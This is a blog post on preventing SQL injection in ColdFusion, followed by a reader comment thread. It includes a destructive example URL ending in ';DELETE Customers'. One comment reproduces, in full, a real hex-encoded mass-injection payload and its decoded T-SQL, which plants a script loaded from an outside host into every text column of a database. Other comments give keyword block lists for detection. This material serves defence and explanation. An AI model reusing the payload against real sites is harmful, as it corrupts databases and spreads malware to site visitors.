I was just on a web site (no, not a ColdFusion powered site, and no I will not name names) browsing for specific content. The URLs used typical name=value query string conventions, and so I changed the value to jump to the page I wanted. And I made a typo and added a character to the numeric value. The result? An invalid SQL error message.
That’s bad. Very very bad. It means that I was able to create a SQL statement that was submitted to the database for processing, a SQL statement that was passed to the database as is, unchecked.
You’d think that by now we’d have learned to lock down our code so as to prevent SQL injection attacks, but apparently this is not the case. You do not know what a SQL injection attack is? Well, read on.
Consider the following simple dynamic ColdFusion query:
SELECT *
FROM Customers
WHERE CustID=#URL.custid#
Here a WHERE clause is being populated dynamically using a URL parameter. This type of code is common and popular, and is often used in data drill-down interfaces. If the URL was: http://domain/path/file.cfm?custid=100
the resulting SQL statement would be:
SELECT *
FROM Customers
WHERE CustID=100
But what if someone tampered with that URL so that it read:
http://domain/path/file.cfm?custid=100;DELETE+Customers
Now the resulting SQL would be:
SELECT *
FROM Customers
WHERE CustID=100;
DELETE Customers
And depending on the DBMS being used, you could end up executing two statements – first the SELECT, and then DELETE Customers (which would promptly delete all data from the Customers table).
Scared? You should be. SQL statements are not just used for queries. They are also used by most DBMSs to create and drop tables, create user logins, change passwords, set security levels, manage scheduled events, even creating and dropping entire databases. And whatever features are supported by your DBMS may be accessible this way.
Before I go further I must point out that this is not a ColdFusion vulnerability at all. In fact, it is not even a bug or a hole. This is truly a feature – many DBMS do indeed allow queries to contain more than a single operation, this is legal and by design.
Of course, you should always be checking parameters anyway before passing them to your DBMS. Passing client supplied data (URL parameters, FORM fields, and even cookies) through unchecked is programmatic suicide. Attacks aside, it is flat out unsafe to ever assume that data submitted by a client can be used as is.
As such, you should already be using code like this:
This single line of code will lock SQL injection attacks out. How? Think about it, SQL injection (within ColdFusion apps) is really only an issue with non textual fields. If a text value is tampered with you’ll end up with tampered text, but that text will all be part of the core string (within quotes) passed as a value, and will therefore not be executed as separate statements. Numbers, on the other hand, are not enclosed within quotes, and so extraneous text can be tampered with to create an additional SQL statement. And
Of course, you may want more control, in which case you could use code like this:
... throw an error or something ...
And as an additional line of defense you can use
SELECT *
FROM Customers
WHERE CustID=
If the previous tampered URL was passed to the this query, the value would be rejected and an error would be thrown. The CFSQLTYPE (aside from binding variables) performs data type validation checks, and values that do not match the type are rejected. That’s it, only integers allowed, and malicious tampered URL parameters are not integers.
The bottom line is that SQL injection attacks have been around for as long as dynamic SQL itself. ColdFusion has made it incredibly easy to protect yourself against such attacks. Be it
If you have not been paying attention to this risk, stop whatever you are doing, fire up your IDE, and do a search for every single
Enough said! (I hope).
(UPDATED 07/24/2008)
Since this post was made, SQL injection attacks have evolved, and it is now know that even strings are vulnerable. See the more current related posts linked below.
SQL Injection Attacks, Easy To Prevent, But Apparently Still Ignored
73 responses to “SQL Injection Attacks, Easy To Prevent, But Apparently Still Ignored”
-
Most RSS feeds offer a brief "clipping" (like bloglines.com) and yet yours publishes the whole article. Why is that?
-
Peter, because I never remember to embed <more/> in the body. 😉
-
Oooookay. So why is that? Too busy? LOL!
Happy holidays! -
What about query caching using the <cfqueryparam>?
-
Ross, as I said, there are multiple solutions. And yes, there are pros and cons to each.
-
>> If any of them are URL parameters or FORM fields,
>> create a <cfparam> for each
Or if there are ANY variables which might have been passed in from one of those scopes.
(eg: <cfparam name="Session.Consumer" default="Url.Consumer"/>)
Personally I’m in the habit of cfqueryparam-ing EVERYTHING with hashes. It’s ugly (hopefully CF8 will implement a function version of QueryParam), but it’s the simplest way to be sure.
Fortunately I haven’t yet encountered any queries that need to be cached, but it’s fairly simple to do manually if/when I do. -
Also of concern is the ability for a visiter to amend the url from custid=100 to custid=101 to see if they can view another customers details. This can be guarded against by simply making it less obvious and perhaps by building some complexity into the custID – e.g. a checkdigit, or better still remove this from the URL altogether and use a session variable.
-
We have worked around this by creating custom error results so if anyone else trys to injects something they do not recieve an error that would tell them anything about sql. If they know the table names and such they might be able to do something but since the error messages are no good we they find no info. That being said I am going to start adopting this practice… The more protection the better.
-
For an id value, we also do a hashed id checksum value passed as well. That way, if someone modifies the id value, we check hash and check the results against the checksum. If there is a disparity, then we know there is tampering going on and we throw an error and record all the information of the tampering user.
-
Rod,
Just because I can’t see the error does not mean that I can’t perform SQL Injection. Google blind SQL injection for lots of info.
The lesson here is to always use parameterized queries (cfqueryparam)! This is the case in all languages including Java, CF, C#, etc. since it is the single best mechanism to preent SQL injection. The secondary and tertiary lines of defense are proper data validation and not sending data to the client that the client shouldn’t need to see/modify. Once the client has the data in his or her browser, it’s the user’s to modify as he wishes!
-dhs -
For you *nix users, I’ve made a grep that you can run on your app directories to search for SQL injections.
egrep -ir "(WHERE|AND|OR|[^f]SET) [a-zA-Z0-9.]+[ ]*=[ ]*["’]?#" *
It will not match all possible injections, but it will match a lot of them. Also, just want to toss this in, apparently when using cfqueryparam for all variables, depending on your DBMS you can increase performance by a good bit – it already binds variables to their types and can ignore any type checking it has to do on the DB side.
Cheers,
-Umbrae -
Should note, the most important injections it will miss are inserts. But regardless, it still provides for a starting point to see if you’ve missed any files.
-
Would using CFARGUMENT TYPE="numeric" not stop it as well. Assuing your query is in a CFC, and cfc passes in above arg to your query?
-
Here’s another way to stop injection:
If the value of URL.b = 1,2,3,4,5,
<!— *** CHECK URL FOR NUMERIC & COMMA USING REGEX —>
<cfset check_url = IsValid("regex",Trim(URL.b),"[0-9,]+")>
This will only allow numbers and a comma for the URL.b variable. You can modify the [0-9,]+ to delete/include other characters. -
Wanted to point out that using SELECT * and cfqueryparam together will wreck your query if you add a column to the table your selecting from. Since the DB now caches that query due to the bind parameter, the SELECT gets confused when a new col is added. SELECT * is usually bad practice in general.
-
just wondering, as this is fairly new to me, is there really any more effective way than cfqueryparam to prevent this? i know that XSS is talked about a lot as being very dangerous, but i just spent the better part of four hours fixing up a site with a lot of where column=#humber# stuff in it.
even if the form was ran from someone’s harddrive, there still shouldn’t be any danger, right?
i know i sound naive, but i am asking to be sure. thanks much! -
I’m not entirely sure what cfparam does here other than ensures that the URL variable is an integer.
Is there not a was of doing the same for url parameters that are not integers. The reason I ask is I am using a pair of parameters in URLs for user information to ensure that a user cannot simply type in another number and get someone elses detals. one of these parameters is not an integer.
Is there not a UDF or CFC that can check URL and form variables against SQL injection attacks. -
Keith, CFQUERYPARAM does otherr stuff too, but you are right, as far as preventing SQL injection attacks then it doing just that, ensuring that types arre what they are supposed to be. If you are using your own data types then you’ll need to do some testing of your own, thoroughly validate the parameters before using them, ideally saving them to some local variable once validated and cleaned up, and then passing that to the SQL instead of the URL parameter.
— Ben -
cfqueryparam is a nice way to prevent sql injection – but our latest version of our website that now uses application.cfc and a bunch of persistent objects has rendered the cfqueryparam tag useless – a nasty bug has arisen that causes CF to return an ‘invalid parameter binding(s)’ error that Adobe nor anyone else can seem to fix. A perfectly functioning query with validated datatypes being passed into the cfqueryparam tag will randomly throw this error. More strange is that the exception detail shows the datatype of the passed parameter to be consistent with what it is expecting – it isn’t a case of defining a cfsqltype that differs from the datatype being passed in. So, unfortunately for us we have to remove all the cfqueryparam tags…
-
Ben, do you have any thoughts on the comment above by Ed Ralph? We have been seeing this seemingly random and unrepeatable error as well in one of our applications that also uses Application.cfc and big "persistent" (hope Sean doesn’t read that) objects. To go a little further, the database interaction is all managed via Reactor, which of course uses validated cfqueryparams as well. I would be *very* interested to hear any thoughts you might have on the matter. Thanks!
-
Just an update on my previous comment – sorry Ben I know this isn’t a forum but…
We went through an exercise of removing cfqueryparams to skirt around the invalid parameter binding(s) error, but now instead we get random sql statement truncation. The simplest (valid) queries are being truncated – or so they appear in the error statements. For example, the statement might end up going to SQL Server like this:
"LECT blah, blah from tblBlah" or "select blah, blah from tblBlah where"
Upon inspecting the code, these queries are perfectly fine… I’ve heard rumours that CF8 doesn’t suffer from these problems, but I haven’t been able to get my hands on a beta to play with. As a result, I’ve had to install BlueDragon 7 (the new one) to see if that works ok. If so, I might have to migrate to BD – a scary prospect. -
HI. WHat about if users put SQL markup in the text input area’s within a form that is going to end up in db insert. (like this field I’m using to leave a comment in?
Is there a risk there?
Matt -
Matt – yes, that is what SQL injection typically is, and what this comment thread is largely about.
Regarding my last post (4/10/07) – a hotfix was released for MX 7.02 which has fixed the cfqueryparam issue and some other java.lang.illegalStateException issues. -
Wanted to point out that using SELECT * and cfqueryparam together will wreck your query if you add a column to the table your selecting from. Since the DB now caches that query due to the bind parameter, the SELECT gets confused when a new col is added. SELECT * is usually bad practice in general.
-
"the SELECT gets confused when a new col is added. SELECT * is usually bad practice in general. " I not understand you.
-
What about if users put SQL markup in the text input area’s within a form that is going to end up in db insert. (like this field I’m using to leave a comment in?
-
Hi I am doing a code review of a Cold Fusion application and the developer did not include any cfqueryparam or cfparam tags. The database is Intersystem’s Cache. Does anyone know if the Cache database is vulnerable to SQL injection or does the Cache database not allow multiple SQL statements to be processed?
-
Should note, the most important injections it will miss are inserts. But regardless, it still provides for a starting point to see if you’ve missed any files.
http://www.taiyau.com/2007/about_us_e.htm
http://www.taiyau.com/2007/index_e.htm -
Should note, the most important injections it will miss are inserts. But regardless, it still provides for a starting point to see if you’ve missed any files…
-
This can be guarded against by simply making it less obvious and perhaps by building some complexity into the custID – e.g. a checkdigit, or better still remove this from the URL altogether and use a session variable. ?
-
Is <cfqueryparam> enough by itself to prevent all sql injection attacks? Or should we be scrubbing our data also? More levels of protection is better but assuming for text data, not numeric data, scrubbing is kind of hard. How would one tell the difference between a real comment about sql vs an injection attack. Does <cfqueryparam> make it so any possible sql in text that’s going to used in anything (select/insert/delete/update) be escaped?
-
thanks
-
Matt – yes, that is what SQL injection typically is, and what this comment thread is largely about.
-
What about query caching using the <cfqueryparam>?
-
As of CF8, caching works if <cfqueryparam> is used.
— Ben -
http://tinyurl.com/ozq8x
In case you need another reason to implement this. -
As Matt and Caylesin have stated above, this is all perfectly sensible with numeric values, but when it comes to text, <cfqueryparam>ing text values won’t offer any protection beyond limiting the length of the input string, so basically we need to check all URL or FORM fields destined for the database for all possible malicious code insertion. Something for application.cfc, methinks. It might be prudent to loop through all FORM and URL variables and filter out certain strings, such as <iframe> and <script>, INSERT, SELECT, UPDATE, etc. Anyone have any suggestions as to a full list of possible naughty values?
-
I dont want anyone to come to this thread later and think this last comment is right…
the whole point of cfqueryparam is creating parameterized queries. where the parameter being passed to the query will not run any sql. -
I have created a small cf program that will help you go through your databases and remove the offending code from the databases for those that have a systems admin who neglects the backup duties. if your interested, email me at pageus@gmail.com.. I am giving this program away. sorry ben if i am overstepping my bounds here but im hoping that it will others as it’s helped me.. if there is a place i can post the program someone let me know and i will
RLG
pageus@gmail.com -
I am thoroughly hacked off with this! I have put all my eggs in one basket, or all my tables in one DB at least! I have about 15 sites feeding off the MSSQL DB and BANG… hit by SQL injection.
I have gone through and made sure all WHERE clause uses CFQueryParam e.g..
Where emailID=<cfqueryparam value="#URL.emailID#" cfsqltype="cf_sql_clob" maxlength="250">
I have rolled back the DB to last healthy backup, but the injection is still taking place.
The following line is being added to my entries in the DB…
"></title><script src="http://1.verynx.cn/w.js"></script><!–
I have also added the following to application.cfm
<cfif isdefined("cgi.query_string")>
<cfif reFindNocase("declare",cgi.query_string)><cfabort /></cfif>
</cfif>
Can anyone offer any further advice or suggestions? -
i had this happen to me while i was doing the scrubbing.. i would be almost done and it would reinfect.. what you have is someone accessing the site or they have a cached page of the site.
we had to essentially disable the site while we cleaned it up and then modify the code in the application.cfm to ensure the page would be regrabbed instead of running the cached copy… i don’t know how many "action" pages you have to work on but i know i have barely scratched the surface of fixing the code so cached copies wont affect me.
btw it is simple as modifying the incomming url/form name on ONE of the items.. the cached code should fail out. at least this is how we fixed ours for a few of the sites so far..
also if your interested in the db scrubber let me know it’s a useful tool and i just wanna help out with this mess since we were hit on a number of our db’s including one offsite that is taking forever to clean..
the scrubbing with the site temp offline also prevents any "hidden code" that would be in what you thought was a clean backup
-Rob -
Gareth,
I had the EXACT same thing happen to me starting at 10:00am EST yesterday and then going throughout the day… what as mess. Here is what I learned (and how I built my defense around it… (This is the EXACT same script that attacked you… same URL and everything! So here goes…
The first thing I did was lock down CF. You can do this by going into the CF Admin and check the box that disables CGI, cross-site scripting attacks. The disadvantage to this is that it replaces all <SCRIPT> <EMBED> etc tags with <INVALID> — this is a disadvantage to me because I have users uploading Flash and legitimate JS all the time. Nevertheless, I locked the system down for a couple of days.
Next, if you check your IIS logs (and CF application logs) you will notice a lot "CAST()" variables hitting your server. That is because the user is injecting the following script:
DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C4043
2076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F5220
73656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D
6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E787479
70653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31
363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4375
72736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065
7865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E
3C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C
2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F746974
6C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F73637269
70743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040
542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F4375
72736F72%20AS%20CHAR(4000));EXEC(@S);
I went to http://www.string-functions.com/hex-string.aspx to convert this and here is what it is:
?DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(‘update [‘+@T+’] set [‘+@C+’]=[‘+@C+’]+”"></title><script src="http://1.verynx.cn/w.js"></script><!–” where ‘+@C+’ not like ”%"></title><script src="http://1.verynx.cn/w.js"></script><!–”’)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Absolutely INSANE!!!!!!
Therefore, I wrote a script and put it in my application.cfm to defend against this in the cgi.query_string. I also did a loop (if it exists) through "form.fieldnames" which is the common array given by ColdFusion for all of the form fields submitted.
Once that check is run, if it matches any keywords like "CAST" or "DECLARE", etc., it blocks the IP Address and throws a CF_ABORT.
I hope this helps. I spent 8 hours of my day yesterday PULLING TEETH OUT because of this. If I can help a few people out, it’s worth it.
Sincerely,
Ray Majoran -
Interestingly enough, I just came across this article posted on July 18, 2008. It’s exactly the same thing:
http://www.coldfusionmuse.com/index.cfm/2008/7/18/Injection-Using-CAST-And-ASCII
Ray -
@ Ray Majoran
Many thanks for taking the time to post your expert findings. Is there any way you could share the script you used in application.cfm? It’s all a bit above my head at the moment.
Cheers -
No problem. Email me at ray at majoran dot com and I’ll send it to you.
-
Having a client site that was recently hit by this (i had been caching queries and therefore CFQUERYPARAM was not used for CF7). I too have done something similar to what was described earlier but am wondering if any one can spot any problems in the following:
In the application.cfm I have added:
<!— abort if SQL inject attack is sensed, log attempt —>
<cfif isdefined("cgi.query_string")>
<cfif reFindNocase("declare",cgi.query_string) OR reFindNocase(";",cgi.query_string) OR reFindNocase("@",cgi.query_string)>
<cfinvoke component="cfc.securityReport" method="sqlInjection"/>
<cfabort />
</cfif>
</cfif>
cfc.securityReport then records the IP, script and query strings of the offending remote computer in a DB table and then CFABORT, leaving only a blank page.
I then invoke a second component that checks the database table for the user’s IP and if found 5 or more times in less than hour, the IP is blocked by using a CFABORT.
The theory here is that if 5 attempts are made and either through automated or human methods the site is visited without an offending URL it will be blocked by IP. I am releasing the block after only one hour in case a dynamic IP is used and we don’t want to block a good user that just happens to use the same ISP. -
Hi Shane,
This looks good, however, I have a couple of comments based on the attacks that we received.
1. Many of the hits were from a number of different IP addresses. The people that run these attacks tend to run them through proxy servers or computers in remote locations. In our instance, there were over 100 different IP addresses that hit us at once. By the time an IP hit us 5 times, there may already be 500 compromises in the database. My personal recommendation would be to block them out immediately.
2. We found that cgi.query_string didn’t always work. If the person is using a remote form, the data may not be recognized in cgi.query_string. Therefore, we added this as well:
<cfif isdefined("form.fieldnames")>
<cfloop list="#form.fieldnames#" index="z">
<cfif lcase(evaluate(z)) CONTAINS ‘declare%20@’ OR lcase(evaluate(z)) CONTAINS ‘=cast(‘ OR lcase(evaluate(z)) CONTAINS ‘exec(‘ OR lcase(evaluate(z)) contains "document.write(unescape" OR lcase(evaluate(z)) contains "/w.js" OR lcase(evaluate(z)) contains "</title><script" OR lcase(evaluate(z)) contains ".cn/">
<cfset ban_now = 1>
<cfset ban_body_content = evaluate(z)>
</cfif>
</cfloop>
</cfif>
I hope that helps!
Sincerely,
Ray -
Thanks Ray!
Good point on blocking immediately. My thought was that I could see a client making a typo in the URL and trying it multiple times before realizing their mistake. I have reduced that 1.
Regarding the remote form protection, this appears to be very specific to the latest rounds of attacks (i.e. the ‘/w.js’ and ‘<title>’ catches). I am trying to come up with a more generic solution to include in all the sites I develop. To do this I would think the following would work:
<cfif isdefined("form.fieldnames")>
<cfloop list="#form.fieldnames#" index="z">
<cfif lcase(evaluate(z)) CONTAINS ‘declare%20@’ OR lcase(evaluate(z)) CONTAINS ‘=cast(‘ OR lcase(evaluate(z)) CONTAINS ‘exec(‘ OR lcase(evaluate(z)) contains "document.write(unescape">
<cfset ban_now = 1>
<cfset ban_body_content = evaluate(z)>
</cfif>
</cfloop>
</cfif>
or have I left a giant hole in my security? -
Nope, I think you have it. The ABSOLUTE key is to make sure that ALL of your integer values in your CFQUERY’s are either #val()#ed or CFQUERYPARAMed. That is your best line of defense.
In the case of MS SQL Server, it looks like string values are safe (according to another blog I read), but in the case of MYSQL, string values can actually be compromised as well — it takes more effort, but it can be done. Therefore, it would be a best practice to CFQUERYPARAM everything if you can help it.
Ray -
CFQUERYPARAM also needs better handing of nulls. Be nice to have null="yes|no|auto", where auto means YES if the length value is zero AND if the field accepts nulls. That way you don’t have to wrap CFIFs around them, or use the yesNoFormat technique. Either way, you’re writing extra code.
Leave a Reply